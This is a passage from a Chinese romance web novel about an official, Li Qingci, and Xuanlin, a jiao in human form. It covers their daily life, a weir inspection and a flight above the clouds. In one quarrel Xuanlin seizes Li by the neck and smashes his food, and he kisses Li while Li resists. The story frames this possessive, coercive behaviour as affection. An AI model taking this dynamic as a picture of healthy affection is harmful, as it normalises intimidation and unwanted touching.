李青辞疑云满腹,他困惑道:“你这是干嘛呀?哄完我又凶我,我都不知道该不该生气了。” 玄鳞抬手捂他的嘴:“闭嘴!不许再说话!” 李青辞心里叹气,哪有这样的事,哄别人结果把自己哄生气了。 他又觉好笑,少见玄鳞这么生气。 想了想,他摸着玄鳞的手背,轻轻拍着。 少顷。 脸上的桎梏松了。 李青辞扭过去,忍着不自在,凑到玄鳞脖子上舔了一下:“这下咱俩扯平了,别气了。” 猝然,腰间猛地一紧,他不受控地张大嘴巴,艰难地喘气,快速拍打玄鳞。 玄鳞凑到他嘴边,嗅闻他呵出来的气息。 李青辞难耐地蹙起眉心,涩然道:“松…松…开我。” 断断续续的声音响在耳边,玄鳞迷乱的眼神清醒过来,他立刻松开手,语气急切:“勒疼了吗?” 李青辞大口喘着气,胸口剧烈起伏。 玄鳞见状拧眉,神情懊恼,凑到他脸边,朝他嘴里徐徐吹了口气。 很快,李青辞呼吸平稳下来,他软着身子倚在玄鳞怀里,摇着头说:“不疼,就是有点上不来气。” 玄鳞搂着他没吭声。 那是身体下意识的绞缠,幸好,李青辞在他身边待惯了,他知道怀里的人是很脆弱的,手上只会留一点力。 但即使这样,小崽子还是受不住他。 玄鳞蹭了蹭李青辞的脸,低低道:“我不是故意弄疼你的。” 李青辞笑了起来:“我知道,刚才你怎么了?” 玄鳞一脸气闷:“你突然舔我,我没反应过来。” 是他想岔了吗?李青辞诧异道:“我以为这是示好的意思,想让你别气了,难道这是攻击的意思?” 玄鳞别开脸没吭声。 李青辞失落地啊了一声:“是我自作多情,原来你刚才真的想咬我。” “当然不是!”玄鳞抑郁不平,语气急躁,“我要真是咬你,你现在脖子已经断了,哪还能张嘴巴巴!” 李青辞更疑惑了:“那你反应这么大,我以为你把我当成攻击你的敌人了。” “你?还敌人,得了吧。”玄鳞冷嗤一声,就算小崽子拿刀捅他,他都想不起来反抗,对着他压根生不起戒备心。 李青辞抿了抿嘴,一时语噎,顿了顿道:“那你这是——” “好了!”玄鳞打断他,眉眼浮起羞恼,“让你的嘴歇会儿,别说话了。” 李青辞努起嘴,怏怏道:“不说就不说。” 玄鳞搂着他往后一倒:“睡觉吧。” 李青辞拍这条蛟的胸口:“把你的手臂抽走,我不想枕着,太硬了,硌得我后脖子疼。” “你怎么这么多事儿!”玄鳞一脸不满,刷地一下撤回手臂,翻身背对人。 李青辞没理他,摸索着抓他的手,刚攥住两根手指,就被甩开了。 李青辞再去抓,又被甩开了。 屡战屡败,屡败屡战。 如此五个来回。 修长坚硬的手指终于安安分分待在温暖柔软的掌心里。 第52章 乖,闭上眼。 一夜好眠。 次日凌晨。 李青辞刚醒过来不久,就听见了外间轻微的脚步声,接着亮起微弱烛光。 他迟钝地翻身,想起床,结果发现他侧趴着,脑袋枕在玄鳞胸前。 怪不得他感觉自己少了只胳膊,原来是垫在底下,压麻了。 缓了缓,他推开揽在后肩的手臂:“别抱了,我要起床。” “唉……”玄鳞长叹一口气,不情愿地松开人,“时间走快点吧,赶紧到你辞官的时候,到时候天天睡到天亮,省得起这么早。” 李青辞想了想,笑了起来:“到时候觉也少了。” 人上了年纪,就睡得少了。 玄鳞压住心烦,拥着他起床:“走走,不然你又着急忙慌的!” 收拾完,俩人一起上了马车。 吃完饭,李青辞倚在玄鳞怀里醒神,结果眯过去了,再睁眼的时候,已经快到地方了。 马走得很慢,他转头看着玄鳞说话:“你回家睡觉,哪都别去,晚上来接我。” “知道了,真啰嗦!”玄鳞掐他的脸,缰绳塞到他手里,翻身下马。 李青辞忍下不舍,转过头朝前方去。 到了帐篷内,先对了一下彼此的工程进度,没出什么纰漏,进展还算顺利。 晌午。 李青辞去打饭的时候,发现伙食好了一些,一人还发了一个鸡蛋。 路上,夫役都在谈论,说这是阳源县令捐的银子,他不忍看自己辖下的百姓辛劳,特此慰问。 大家都说他是个好官,纷纷赞扬。 李青辞没在意,经过一个上年纪的男人面前,把手里的鸡蛋递给他。 没等他感谢,李青辞快步离开了。 往前走了一段,没什么人了,他寻了处干燥的地方,盘腿坐下吃饭。 饼子刚举到嘴边,又被薅走了。 李青辞赶紧出声:“别扔!” 玄鳞手上一顿,即将落在地上的饼子,拐了个弯又回到他手里。 李青辞接过他手里的饼子,端着碗起身:“你在这等我一会儿,我马上就回来。” 玄鳞不耐地啧了声。 李青辞快步离去,就近把饭给了一个夫役,然后几乎小跑着回去。 “你怎么来了?”李青辞挨着玄鳞坐下,伸手搭在他肩上。 “给你喂饭。” 男人太高,腰身挺得又直,胳膊架得难受,李青辞郁闷地放下手。 耳边响起一声闷笑。 李青辞不高兴,用手肘去捅。 这时,他身体突然凌空,下一瞬,又落在实处。 玄鳞将他搁在大腿上,往后倾身:“行了吧,这样你比我高。” 李青辞翘起嘴角笑了笑,贴了下他的脸:“你做的什么好吃的?” “给你抓了头小鹿,烤了一条后腿。”玄鳞掏出一个盘子,上面摆着码放整齐的烤肉块,每块大小均匀,刚好一口一个。 李青辞没去管肉,脸色一沉:“你又出去了?为什么不听我的话?你明明答应我了!” 玄鳞看着他阴沉的脸色,怔了怔,调笑道:“瞧这小脸绷的,还挺像那么回事。” 李青辞没心情跟他玩闹,直勾勾盯着他,语气质问:“你答应我了,为什么不听话?” 玄鳞皱了皱眉,捻起一块肉喂他,低声哄他:“好了,吃饭。” 李青辞别开脸,盯着他:“说!为什么!” 玄鳞不耐烦地啧了声:“你小子差不多得了,还管起我来了!” 李青辞移开视线,推开他的手,起身坐到一旁,低着头默不作声。 也是。 他们之间,只有玄鳞管他、教训他的份。 玄鳞被推,手晃了晃。 他眉峰压低,敛去脸上的笑意,看着李青辞抗拒的背影,脸色阴沉:“你又闹什么脾气!我是去给你弄吃的,你不冲我撒娇卖个好也就罢了,还敢给我甩脸子。” “李青辞!我是不是太惯着你了!”说到最后,语调猛地拔高,多日来,隐而不发的怒意暴露无余。 李青辞惊悸,下意识抖了一下。 玄鳞扬起盘子,狠狠砸在地上,碎瓷片溅得七零八落,冒着热气的肉块滚到地上沾满尘土。 玄鳞伸手一抓,拽着李青辞的后领子,猛地把人拖过来。 李青辞猝不及防,惊惧之下,他两条腿在地上用力踢蹬,扬起一片尘土。 玄鳞掐着他的脖子,将他摁在腿上,脸色森然:“蹬鼻子上脸!从我来到这儿,你就这事、那事,总是无缘无故闹脾气,一言不合就给我耷拉脸、甩脸子!” “李青辞!你是不是以为我没脾气!” “你以为自己是谁!我凭什么哄着你、受你的气!” 李青辞抬眼看他,眼神空洞,平静地问:“那你呢,你凭什么可以随意打我、训斥我,罔顾我的意愿,拖拽我、压制我。” 玄鳞身形一僵。 “我为什么要承受这些?”李青辞喃喃低语,不知道是在问别人,还是在问自己。 “对啊,我为什么呢?”李青辞自言自语,神情恍惚,“我明明可以不这样的。” 如果在那十年里,他放下这个男人,选择成婚生子,就不用经历这些,不用提心吊胆,生怕这个人突然离开,然后不知归期。 “我告诉你为什么。”玄鳞将他提起来,搂在怀里,“因为你是我的小崽儿,我对你做什么都是应该的。” 李青辞满心疲累,他闭上眼,不再辩驳。 “睁眼!”玄鳞拍他的脸,“不许用这副姿态对着我。” 他不喜欢小崽子抗拒他。 李青辞抬手搭在额上,只觉无力,苍白的嘴唇溢出一句轻问:“玄鳞,在你心里,到底把我当成什么?” 玄鳞不解,扯下他的手,拧眉道:“你在说什么?” 李青辞睁开眼,平静地看着他:“玄鳞,虽然你是妖,我是人,但我和你是平等的,我不能像一条狗一样对你摇尾乞怜,像奴才一样对你奴颜婢膝,事事讨好你、顺从你,我不能所有的事都对你唯命是从。” “如果你想要我顺服你,事事都迎合你的心意,我可以努力去做,但是我不开心。” 他喜欢玄鳞,他愿意顺着玄鳞,可是他也有为人的自尊。 玄鳞听得怔愣,等反应过来,他不可置信地看着李青辞,怒声斥责:“你胡说什么!” “李青辞!你有没有良心!” “我说错了吗。”李青辞反问道,“你总让我听话,让我乖,让我顺着你,你有把我当成一个平等的人看待吗?” “什么样的关系,才能让一个人对另一个人百依百顺,完全没有反驳的余地。” “只有养狗、养孩子的时候才会这样。” 玄鳞愣住,看着他没说话。 李青辞又问了一遍:“玄鳞,在你心里,我到底算什么?” 玄鳞回过神,立刻抱紧他,贴着他的脸说:“你是我的小崽儿。” “小崽儿是什么?”李青辞追问,“儿子吗?” 玄鳞烦躁地皱眉:“有这层意思,但是我没有真把你当成儿子,我也不想要儿子,这就只是一个称呼而已。” 他改为双手捧着李青辞的脸,语气珍重:“你是我最亲的人,就算你说的那条母蛟出现了,我也最疼你,跟你最亲,不是你说的什么狗什么奴才。” “我会好好养着你,我可以给你花不完的金子,吃不完的肉,我的头发、鳞片都可以给你。” “我还可以给你喂血,如果你想吃我的肉,我可以剜一块给你。” 李青辞原本平静的脸,听到最后一句话时,眼泪突然喷涌而出,大颗的眼泪连成珠串往下掉。 他不想要这些,他只想要玄鳞能平等地爱他。 空洞的眼睛,涟涟往外边淌泪,看上去那么沉寂、悲伤。 “小崽儿,小崽儿!”玄鳞茫然失措,手忙脚乱地抱着他,给他擦眼泪,“别哭,我不说了,别哭了好不好?” 李青辞瘪着嘴,抬手搂住玄鳞的脖子,埋在他肩上哭得很无助:“我不想要你的血肉,我只想要你陪着我。” 玄鳞听完松了口气,手掌抵在他后心轻轻拍打,压低声音哄他:“我不是一直都陪着你吗,早晚送你接你,这样好不好?以后晌午我都过来给你喂饭。” 李青辞不说话,一个劲儿往他身上缠,歪着脸去贴他的脖颈。 玄鳞心里生起一股隐秘的快感,他喜欢小崽子乖顺地依赖他。 颈侧贴上来的小脸,软乎乎的,本来还应该是暖的,却被泪水浸得泛凉。 他不喜欢。 玄鳞扣着李青辞的后颈摩挲:“脑袋抬起来,我给你洗洗脸。” 李青辞先在他衣衫上蹭了蹭,才慢慢抬起头。 玄鳞叹口气:“我的鳞片都快让你蹭成抹布了,直接抬头不行吗?” 李青辞吸了吸鼻子,转过头擦眼泪。 他不想一把鼻涕一把泪地让玄鳞瞧见,显得他很没出息。 “好了,你那脏爪子别摸眼睛了,越擦越脏。”玄鳞扯开他的手,“乖,闭上眼。” 李青辞垂着头,闭上眼睛。 玄鳞引水给他洗脸、洗手,又清去他身上的灰土。 整个人干干净净,就是脸上这红那肿的。 玄鳞直起腰身,摁住李青辞,迫使他向下塌腰,俯首去舔他的眼睛。 熟悉的柔韧、湿润触感,清冽的气味。 李青辞身体僵住,腰身后折幅度过大,没着没落的,他下意识勾住玄鳞的脖子,想坐直身体。 “乖,别动,马上就舔好了。”玄鳞托在他脑后,换只眼睛舔。 少顷。 哭红的眼睛被涎液安抚,恢复白皙,却在下一瞬又被舔红,柔韧湿润的东西一直流连在眼尾。 李青辞耐不住了,他颤着嗓子开口:“好…好了吗?” “快好了。”玄鳞在他眼睑下舔了舔,又去舔红彤彤的鼻尖。 眼神落在红润润的嘴唇上,玄鳞一时踟蹰,这处红些,好像也无妨,但是太艳了,像是涂了口脂。 小崽子是个公的,嘴唇这么艳不合适。 “还没好吗?”李青辞又一次催促。 玄鳞揉着他的腰安抚,想让他别那么僵硬,不料,越揉越僵,他啧了声:“别催,就剩嘴唇,舔完就好了。” 李青辞惊住,立刻睁眼,张嘴制止他:“别——” 话语戛然而止。 晚了一瞬。 溢到嘴边的话,被堵了回去。 玄鳞舔他的嘴唇,舌尖扫过时,唇缝刚好敞开,他顺势往里探去,刚伸进去没舔两下,下一瞬就被抵着往回推。 李青辞用力挣扎,他抿着嘴,闭紧齿关,拍打男人的肩膀。 玄鳞只好退出去,不解地拧起眉:“你到底怎么回事?让舔还是不让舔?” 李青辞懵然,一脸怔忡,嘴里好像还有那种被塞满的充盈感。 沉默良久。 玄鳞等急了,拍他的脸:“说话啊,脑子哭傻了?” 脸肉一颤,李青辞回过神,心里噌的一下翻滚起汹涌的羞赧,没等红晕蔓延到脸上,就止住了。 因为他看清了玄鳞的神情,玄鳞拧着眉,眼里只有疑惑和担忧,一点都不知道他这个行为意味着什么。 李青辞突然脱力,挺着的腰背垮下来,脑袋无力垂着,他缓慢摇头:“我没事。” “那你说话这么虚,病怏怏的。”玄鳞揽住他的肩背,轻抬他的下巴,视线在苍白的脸上睃巡一圈,担忧道,“小脸这么白?嘴唇也不红了,你真没事吗?” 李青辞大脑艰涩,一团浆糊,他胡乱开口应付:“哭累了,一会儿就好了。” 玄鳞闻言,叹气道:“小崽儿,以后你闹脾气归闹脾气,咱别哭成吗?” 李青辞心不在焉地嗯了一声。 玄鳞又忍不住叹气:“我这次不是真想凶你,只是被你气的,你总是不开心,经常耷拉脸,我搞不懂为什么。” “你之前不是这样的,我不喜欢你这副样子,看见就觉得烦躁。” 也不管他说的什么,李青辞嗯嗯两声当作回应。 玄鳞见状,拧起眉心,拨弄他的嘴唇:“你到底听没听我说话?” “听了。”李青辞抬手搭在眼睛上,低低道,“我知道了,我以后会尽量听你的话,少惹你生气,我会乖的。” 玄鳞对他已经足够好了,连血肉都愿意给他,不能再贪心了。 况且,有些东西贪也贪不来。 听他这么说,玄鳞高兴的同时,又隐约觉得哪里不对。 没等他继续往下想,耳边响起刺耳的敲锣声。 李青辞闻声,闭了闭眼,他摒弃杂思,打起精神,撑着手臂坐起来:“你回家吧,我得上值了。” 玄鳞不赞同道:“你看着病怏怏的,走,我带你回家歇着,这个活咱不干了。” 李青辞扯唇,勉强带出一抹笑来:“我没事,坐太久乏了,一会儿走走就好了。” 玄鳞揽住他的腰,将人带到怀里,脸上闪过一瞬不自然,声音很低道:“你还没吃饭呢。” 炙烤的嫩鹿肉滚在地上,已经变脏、变凉。 李青辞若无其事道:“早上吃得多,我现在不饿,而且再过会儿就该回家了。” 玄鳞握住他一只手揉捏,声音低沉:“我那会儿气昏头了,以后不会再扔你的饭。” “没关系,应该的。”李青辞晃了晃被握住的手,“本来就是你弄的饭。” 玄鳞垂着眼没作声。 李青辞用脑袋磨蹭他的下巴,轻声道:“好了,你回家吧。” 推开他,李青辞抬脚离开。 突然,脸被捧住了,李青辞顿住,抬眼去看,玄鳞的脸在他眼里快速放大。 他下意识闭眼,下巴掠过一抹湿滑,紧接着脸上的手移开了。 视线清晰时,四周已经没有了黑色的身影。 李青辞怔在原地,过了几瞬,他才慢慢抬手去摸自己的下巴,指腹沾染些许水迹。 捻了捻手指,李青辞抬脚往帐篷走。 下半晌。 李青辞的任务比较简单,跟着工匠一块去堰口勘察,确定其损坏程度,修复所需的工费。 这方面,他不太懂,主要是抱着学习的态度旁观。 帐篷离堰口不远不近,小半个时辰就到了,工匠们都是走着去,他也没骑马,远远缀在后面。 身上的披风连着兜帽,往里一缩,几乎感受不到冷风。 只不过,脚上有些凉,心想着,玄鳞蜕下的皮还有没有边角料,他想要来做双袜子穿。 底下的河道正在清理淤泥,空气中缭绕着一股似有若无的腥臭味道。 索性,闻惯了,也不觉得难闻了。 鼻尖有些痒,李青辞伸手揉了揉,深深吸了下鼻子,这时,他突然闻见一股浓郁的肉香。 想到什么,他顿住脚,下一瞬,眼前多出一个瓷盘,上面的烤肉冒着热气和油脂。 玄鳞绕到李青辞身前,弯下腰背看他。 对上这双暗金色的眼睛,李青辞怔住一瞬。 玄鳞手伸进帽子里,扣住他的后颈:“冲我笑笑,就给你吃。” 李青辞扯着嘴角笑了笑。 玄鳞拧眉,故意撇嘴道:“笑得好敷衍,眼睛也不亮。” 李青辞抿着嘴没作声。 玄鳞用指腹蹭他的脸蛋,声音温柔:“还气着呢?” “没有。”李青辞摇头,抓住脸边的手腕握了握。 玄鳞努嘴,轻抬下巴:“舔我一下,我就相信你。” 李青辞侧过头,往前边看,怕有人看见,眼神还没凝神,就被一张脸挡住了。 玄鳞道:“放心,我在,没人看你。” 李青辞看他,暗金色的眼睛里只有关切和担忧。 李青辞没有扭捏,凑上去认真舔了他一下,弯着眼睛冲他笑着。 “真乖,这才叫笑。”玄鳞也笑了起来,揉了揉李青辞的脸颊,用签子戳一块肉喂在他嘴边,“吃。” “好。”李青辞张嘴咬下。 他揣手走着,腮帮子鼓鼓囊囊,嘴巴油亮亮的。 玄鳞走在他身边,等他嘴巴瘪下去了,便戳一块肉喂他。 一路慢悠悠走着,路程过半时,一盘肉吃得干干净净。 玄鳞搂住李青辞的肩:“抬脸,我给你洗洗小嘴。” 李青辞仰着头,朝他撅嘴。 玄鳞抚着他干净的下唇:“好了。” 李青辞笑了笑,脑袋一歪,枕在宽阔的肩上。 俩人悠哉悠哉地走着,临到堰口时,嘈杂的声音传来。 李青辞直起腰身:“我得上值了,你回家吧。” 玄鳞捧着他的脸揉了揉:“天黑前,我来接你。” 李青辞笑道:“好!” 玄鳞拍他后脑勺:“去吧。” 李青辞踮脚贴了贴男人的脸,才转身离开。 等转过头,李青辞敛去笑意,他闭了闭眼,散去懒散的神情,态度严正起来。 朝着不远处的堰口走去,到近前,他接过杨景和递来的小册子和短笔,走在工匠身边观看、记录。 沙英河的堰口建在三条河流的交汇处,便于调控水流,利用地势实现蓄水和分流。 堰口拦河形成数里湖泊,远远一眺,很是壮观。 堰体底部设有一人多高的方形排沙孔,并配有闸门,此行就是对孔洞和闸门进行清淤修护。 李青辞一边听,一边记录,画下堰口的草图,心中不禁感慨,京畿附近的堰口修建得相当完善,细微末节处都存着巧思。 李青辞聚精会神看了一下午,等到放衙的时候,他叹了口气,疲累一下子涌上来了。 他松松握着缰绳,垮着肩膀,慢慢走着。 忽地,腰间一紧,他立刻泄力,倒在宽阔的怀里,有气无力道:“可算是能歇歇了,明天我要睡个懒觉,睡到日上三竿才起。” 玄鳞见状觉得好笑,又不免心疼,拢住他的手慢慢揉着:“当官这么累吗?不应该很享福吗?” 李青辞想了想,道:“一半一半吧,有享福的时候,也有受苦的时候,朝廷不能平白给我们发俸禄。” “比起那些夫役,当官就不能称累了,要清闲太多。” 玄鳞听完,庆幸地啧了声:“还好我没投成人,当妖真好。” 李青辞仰头看他,目露羡慕。 玄鳞察觉到他的眼神,挑眉道:“你这辈子是没办法了,下辈子说不定能投成妖。” 李青辞笑了笑,转过头没说话。 下辈子就算投胎成妖,也跟他没关系了。 他伸手抱住玄鳞一条胳膊,倚在他怀里,闭上眼睡了过去。 安安稳稳地眯了会觉。 等再睁眼的时候,他已经在马车里了,玄鳞抱着他靠在车厢上。 李青辞揉了揉眼:“到哪了?” 玄鳞闭着眼道:“不知道,不过快了,喘口气就到了。” 李青辞抿了抿嘴,决定推开窗子看一看,外面夜色深沉,他打量好一会儿,才明白过来自己走到哪了。 估计还得两刻多钟。 他没有这么大的口气。 坐直身体,想好好伸个懒腰,结果两只手碰到车厢,懒腰戛然而止。 李青辞郁闷地放下手,深深吸了口气:“我会好好当差的,争取早日升官!” 玄鳞不解,睁眼看他:“突然豪情壮志的,又怎么了?” 李青辞打量着狭小的车厢,不禁叹气:“等我官位高了,就可以坐三匹马拉的车,里头会宽敞很多,你在车里就不会觉得憋屈。” “咱们还可以住大房子,到时候在家里给你挖个湖,以后你泡水就不用出去了。” 玄鳞听得眼睛一亮,伸手把人搂过来:“你什么时候能升官?” 李青辞抿了抿嘴,面色讪讪,摸着鼻子干巴巴笑了两声。 他现在才六品,最起码要升到正四品或者从三品,才能用那种规制。 就算一路坦途,少说也要小十年。 玄鳞见状哼哼,眼神黯淡下去,他啧了声:“非得等升官吗,直接花钱买行吗?我还有很多金子。” 李青辞摇头:“不行,这算逾制,会受朝廷申饬。” “真麻烦!”玄鳞闭上眼,一脸不爽。 李青辞认真想了想,车驾有严格规制,但是府邸有转圜的空间。 正想着,玄鳞突然睁开眼,捧着他的脸问:“为什么隔壁那个胖点的姑娘,可以坐四匹马拉的车。” 李青辞愣住,过了两息,才明白他口中的胖姑娘是谁,不禁好笑:“因为太夫人是二品诰命夫人,她的品阶很高,有资格坐。” 玄鳞哼道:“那你加把劲儿,赶紧超过她。” 李青辞闻言,很想斩钉截铁地答应他,但多少有些气馁,二品官员,离他太遥远了。 李青辞敛着眼皮,含含糊糊地应了一声:“好,我努力,争取让你跟着我早日过上好日子。” 玄鳞听完挑眉一笑,揉着他的脸道:“行,那我就跟着你沾点光。” 李青辞道:“你现在是我的家人,算是官眷,若你是女子,明年我可以为你请封诰命,你就是命妇,每月朝廷会发给你俸禄。” 玄鳞听得云里雾里,抓住重点问:“男的不行吗?” 李青辞摇头:“不行。” 玄鳞啧了声:“那我就当官眷吧,反正我也不缺那点俸禄。” 李青辞抿嘴笑了起来。 玄鳞见状拧眉:“你笑什么?跟偷了腥的猫似的。” 李青辞抓住他的手,想了想,决定诳一下这条无知的蛟,笑道:“没什么,就是觉得你能当一个很好的官眷。” 玄鳞眉梢扬起,神情自信:“那是!” 随即,他侧目看着李青辞:“怎么,官眷有什么难当的吗?” 李青辞晃了晃他的手:“没有,只不过官眷要一直陪在官员身边,这一点你有待进步,其他的你都做得很好。” 玄鳞面露狐疑,思索了一会儿,越想越不对,他伸手扣住李青辞的后颈,把人弄到眼皮底下,打量着他问:“我看,你是拐着弯想黏我。” 李青辞翘起嘴角:“是啊,竟然被你发现了。” 玄鳞挑了下眉,啧啧道:“若你是个鼻涕虫精,估计法力高深,我都不如你。” 李青辞哈哈笑了两声,伸手搂住他的脖子,歪头蹭他的脸:“想黏你,我想和你一块好好过日子。” 家人和家眷,一字之差而已,其实也没什么不同。 对于李青辞的黏糊,不得不说,玄鳞还是很受用的,他搂着人慢慢抚摸:“我不是正在和你过日子吗,还想怎么样。” 李青辞愣住了,他偏过头,看着男人含笑的眼睛,认真地问:“玄鳞,那我们就这样一直过下去好不好?” 玄鳞拧起眉:“你怎么又问了一遍,真啰嗦。” 李青辞诧异,不明白他的意思。 玄鳞见他迷茫,不由得生气,掐着他的脸说:“之前你问过我了,就那俩小孩给你送甜瓜那天。” 李青辞闻言怔住,脑海里的记忆飞速倒退,回到十七岁那年。 他记起来了。 当时,玄鳞嗯了一声。 怔愣中。 玄鳞越发不满,弹李青辞的脑门:“什么人呀,自己问完却不记得了,我当时真是多余理你。” 李青辞猛地抓住他的手腕,眨了眨眼睛,抿去恍惚,满眼笑意地看着那张神情不悦的脸。 “玄鳞,我知道了,我以后再也不问了。” 玄鳞冷哼一声。 李青辞手伸到他背后,慢慢顺着:“我给你认错,别气了。” 玄鳞扬着眉,点点自己的下巴:“舔我。” 李青辞抿了抿嘴,凑到他下巴舔了一口。 玄鳞脸上的冷意,倏地散了,露出愉悦的神情,他微扬下巴:“真乖,小崽儿再舔舔我。” “好。”李青辞没有忸怩,捧着他的脸继续舔他下巴。 玄鳞眯着眼睛,很惬意的样子,喉间溢出几声慵懒的轻哼,偶尔,会冒出一腔低沉的咕噜声。 过了片刻。 李青辞咽了咽口水,他垮下肩膀,埋在玄鳞肩上喘气:“不舔了,舌头好酸。” 玄鳞满脸意犹未尽,摁着他的后腰往自己身上压,轻斥一句:“真娇气。” 李青辞没说话,伸手捶他,又抬腿踢了一脚。 “……好好,我们小崽儿不娇气。”玄鳞在李青辞腰上拍了拍,笑着说,“小崽儿舔得很好,等会睡觉的时候再给我舔舔。” 第53章 看给我们小崽儿委屈的。…… 李青辞喘匀气,问道:“你为什么要我舔你的下巴?” 玄鳞挑了挑眉:“当然是因为舒服。” 这是一种示好,尤其是对处在春情期的雄蛟来说,会产生一种旖旎的快感,除了交尾,没有比这更舒服的事。 李青辞不理解,舔下巴能怎么舒服,他皱着眉问:“是有什么别的意思吗?” “小崽儿真聪明!”玄鳞摸摸他的脸,“这代表你向我臣服,我做什么你都愿意接纳的意思。” 李青辞想起下半晌,这条蛟舔他的那一下:“是不是还有道歉的意思?” 玄鳞啧了声,似乎是嫌弃他的问话多余:“都愿意顺服了,还道什么歉。” 也是,李青辞兀自笑了声。 他想起自己看过的一本书,狼群里,位低的狼,会舔舐位高的狼。 跟玄鳞讲完,问他:“跟你们舔下巴是一个意思吗?” 玄鳞立刻警觉起来,他盯着李青辞的眼睛,语气严肃道:“你别胡想,不是一个意思,我们蛟没有这种等级之分,而且,我长的是鳞片,不需要舔着顺毛。” 李青辞越听越糊涂:“那你为什么要我舔下巴?没有等级之分,又为什么要别人臣服?” 玄鳞也一脸困惑,让李青辞问得稀里糊涂的,他拧着眉道:“我也说不好,反正跟狼不是一个意思,我没有把你当成位低的蛟,更不是你说的奴才。” 李青辞满腹疑云,还没张嘴再问,就被捂住嘴了。 玄鳞烦躁地啧了一声:“你别瞎想,这就是一种示好的方式,是你情我愿的,没有逼迫的意思。” 李青辞眨了眨眼,示意自己知道了。 玄鳞盯着他问:“你舔我的时候是不是心甘情愿的?” 李青辞闭眼点头。 “这还差不多。”玄鳞松开手。 李青辞暗叹,无奈一笑。 玄鳞好像不放心的样子,看着他又道:“这就是我们的天性,你舔我的时候,证明你愿意接纳我,是示好,不是讨好,你不要想岔。” 李青辞虽然云里雾里,但是他能明白玄鳞的心意,玄鳞没有看轻他的意思,于是他认真点头:“好,我知道了。” 玄鳞放心了,搂着他说:“你放心,过段时间就不让你舔了,不过你非要舔我,我也可以满足你。” “?”李青辞满头雾水,“你在说什么?为什么过段时间不让舔,而且我为什么非要舔你。” 玄鳞道:“因为我春情期过去了,就不需要你示好,当然,如果你非要示好,我——” “等等!打住!” 李青辞高喊一声,嗓子都劈了:“舔下巴跟春情期有什么关系?” 玄鳞眉眼低垂:“春情期,我想交尾,想被舔下巴示好,想被接纳。” 李青辞听着这番低落的话语,脑子都懵了:“你让我给你舔下巴到底是什么意思?” 玄鳞语气悻悻:“我只能空想着,我的东西不被接纳,让你给我舔舔下巴,过过干瘾怎么了!” 怒气的话语里夹杂着一丝委屈。 李青辞斟酌措辞,试探问:“舔下巴是有求偶的意思吗?” 玄鳞拧起眉,哼了一腔:“有这层意思。” 李青辞僵住了。 玄鳞神色沉郁,脑袋搁在他头顶:“我身边就只有你,怎么,干瘾你都不让我过?你不情愿?” 李青辞长长叹了口气。 身边这条一千岁的蛟,只虚长年纪,不长阅历。 出生前母亲就去世了,只见过一面的父亲被他杀了。 没有亲友伙伴,同族都没见过几回。 不通人事,也是常情。 他少时觉得玄鳞很厉害,无所不能,其实现在看来,他只是一个心智简单的年轻人,想法直接粗暴,偶尔还很幼稚。 李青辞没再纠结,手摸玄鳞的背,慢慢给他顺着:“让你过,我情愿。” 玄鳞哼哼:“算你有良心。” 片刻后。 马车停住,两人从马车下来,并肩走进屋里。 晚饭很丰盛,用鹿腿骨熬了一锅浓汤,炒了一盘鹿肝,外加两盘时蔬。 李青辞吃饱喝足后,在院子里溜达。 玄鳞就在他身边走着。 等饱胀感下去,李青辞去浴房洗漱,只觉燥热,眼前总闪过黑色的身影,他弓着腰背,往下伸手。 …… 重新冲了一遍水,李青辞收拾好后,穿着轻薄的里衣快速朝屋里去。 他刚躺进被窝,就贴过来一个冰凉的身体,好在没过多久,被窝里就暖融融的。 李青辞不太自在,推了推玄鳞:“你往后挪挪,别抱这么紧。” “又没勒疼你,事儿真多!”玄鳞躺着不动,“我就要这样抱!” 李青辞:“……” 他艰难地挪动身形,侧过身,背对着玄鳞。 后背紧贴着胸膛,玄鳞挑了下眉,几乎全压在他身上,舒服地眯了眯眼:“不许再动,老实睡觉。” “好。”李青辞歪了歪头,很快就睡了过去。 翌日清晨。 李青辞一觉睡到天亮,窗外的阳光照进来,床内视线朦胧。 他推了推身上的人:“别抱了,起床吧。” 结果搂在他腰间的手臂非但没松,反而又紧了紧。 下一瞬,视线快速颠倒,他被压在底下,头顶戳着一个坚硬的下巴,抵着他脑袋蹭来蹭去。 李青辞无奈,这到底是什么习惯。 他想起了笑笑,静婉挠笑笑下巴的时候,笑笑会很高兴,躺在地上露出肚皮,开心地快速摇晃尾巴。 怎么到了玄鳞这儿,喜欢用下巴磨蹭别人。 想了一会儿,李青辞着实想不通,毕竟不是一个物种。 他算着时间,眼看不能再拖了,便用力去撞玄鳞的下巴:“得起床了,你说好带我出去玩的。” 沉默两息。 玄鳞猛地翻身坐起,勒着李青辞的腰身下床:“走走!” 片刻后。 两人共骑一乘,朝城外去。 出了城门后,李青辞问道:“我们去哪呀?” 玄鳞答道:“带你去山顶玩。” 两人策马,慢悠悠朝着城外的山上去,今儿是个晴天,阳光明媚,只不过刮在身上的风夹杂着寒凉。 玄鳞拢着李青辞一只手,走在山路的石阶上。 这座山不高,半个时辰就爬到山顶了。 山顶寒风凛冽,但是李青辞只感觉到温暖,被裹住的左手像是泡在温水里。 他顺着手上牵引的力道,走到崖边,探头朝底下眺望,只见一片云雾茫茫,蔚为大观。 天边的旭日散发着璀璨的光芒,依旧照不散半山腰的缭绕云雾。 玄鳞揉了揉李青辞的手,问他:“好看吗?” “好看!”李青辞盯着下方凝望,好奇道,“云雾好厚啊,莫名有种想跳下去的冲动,可惜不能被接住。” 说着,李青辞愈发跃跃欲试:“这云海看着很软的样子,真想跳下去试试,体会一下是什么感觉。” 玄鳞笑了一下,挑眉道:“行,去跳个试试。” 李青辞努起嘴,丧气道:“想试,可是我没有翅膀,不会飞。” 玄鳞拍了一下他的脑袋:“过来,我带你飞一圈。” 李青辞立刻大喜,开心地望着玄鳞,兴奋道:“真的吗?” “带你来就是为了玩这个,还能骗你不成。”玄鳞说完,当即伸手揽住李青辞的腰。 没等李青辞反应过来,他就以迅雷不及掩耳之势,急速朝着山下坠落。 强烈的失重感让李青辞吓得哇哇大叫。 “啊啊啊!!!!!!!” 李青辞紧紧搂着玄鳞的腰,脑袋埋在他的肩上,一眼都不敢往下看。 玄鳞见他这样,不由得啧了一声:“怕什么,有我在,摔不着你。” 这时,下坠之势骤停,两人顿在空中。 李青辞眯起一条缝,小心地往底下觑了一眼。 只见他们两人现在立在云海之上,脚下紧挨着的就是浓浓云雾,一眼望去,白茫茫一片,底下什么也看不见。 李青辞拍了拍玄鳞的手臂,商量道:“你能不能慢一点,我想好好看一看,看云雾里面到底是什么样的。” 玄鳞嗯了一声,表示答应了。 